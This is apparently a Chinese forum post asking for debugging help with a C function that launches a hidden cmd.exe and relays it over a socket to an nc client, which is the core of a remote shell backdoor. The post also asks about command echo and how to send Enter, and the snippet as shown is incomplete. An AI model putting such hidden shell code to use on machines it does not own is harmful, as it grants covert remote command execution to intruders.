创建管道与cmd交互
这个是服务器端一个创建cmd进程,并创建两个管道与cmd进行交互的功能模块,客服端由nc担任 int get_shell(SOCKET target){
//安全属性结构体、填充
SECURITY_ATTRIBUTES stSecurity;
stSecurity.nLength = sizeof(SECURITY_ATTRIBUTES);
stSecurity.lpSecurityDescriptor = NULL;
stSecurity.bInheritHandle = TRUE;
CreatePipe(&g_read1, &g_write1, &stSecurity, 0);
CreatePipe(&g_read2, &g_write2, &stSecurity, 0);
//STARTUPINFO g_stStartUp;
//PROCESS_INFORMATION g_stProcInfo; 两个结构体用于创建cmd进程
GetStartupInfo(&g_stStartUp);
g_stStartUp.hStdInput = g_read1;
g_stStartUp.hStdOutput = g_write2;
g_stStartUp.hStdError = g_write2;
g_stStartUp.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
//不要显示cmd程序的窗口
g_stStartUp.wShowWindow = SW_HIDE;
if (CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE,
NORMAL_PRIORITY_CLASS, NULL, NULL,
&g_stStartUp, &g_stProcInfo))
{
DWORD bytes_read, bytes_write, ret;//DWORD 为32位无符号数
char buff[512] = {0};
while (1) {
//把缓冲清空
memset(buff, '\0', 512);
//检查下是否有数据在管道中
PeekNamedPipe(g_read2, buff, 512, &bytes_read, NULL, NULL);
if (bytes_read != 0) { //如果有, 就读出来
ret = ReadFile(g_read2, buff, bytes_read, &bytes_read, NULL);
printf("%d\n",strlen(buff));
send(target, buff, strlen(buff), 0);
if (ret <= 0) {
fprintf(stderr, "[e]Read pipe error:%d\n", GetLastError());
break;
}
}
else { //否则就由用户输入
bytes_read = recv(target, buff, 512, 0);
if (bytes_read <= 0){
fprintf(stderr, "[e]recv error:%d\n", WSAGetLastError());
break; }
//去掉buff中的"\r 、\n"换成"\0"
adjust_cmd(buff);
//将用户输入的命令写入管道
WriteFile(g_write1, buff, strlen(buff), &bytes_write, NULL);
// char enter_key[2] = {0x0a, 0x0d};
WriteFile(g_write1, enter_key, 2, &bytes_write, NULL);
if (0 == strcmp("exit", buff)) {//如果用户输入的是cmd的退出命令exit
//就退出cmd shell交互模式
send(target, "[i]Exit CMD Modal.\n", 19, 0);
break;
}
}
Sleep(100);
}
CloseHandle(g_stProcInfo.hProcess);
CloseHandle(g_stProcInfo.hThread);
}
return 0;
}
问题1: 如果在客服端输入 的命令是cmd的内部命令,命令能够一次成功在服务器端执行
但是当输入外部命令时,比如getmac、或ipconfig 之类外部命令 服务器端不会马上执行命令,
在客服端回显的是刚输入的命令,再次回车后这个命令被执行
问题2: char enter_key[2] = {0x0a, 0x0d};
WriteFile(g_write1, enter_key, 2, &bytes_write, NULL);
这样向cmd输入回车,是否有效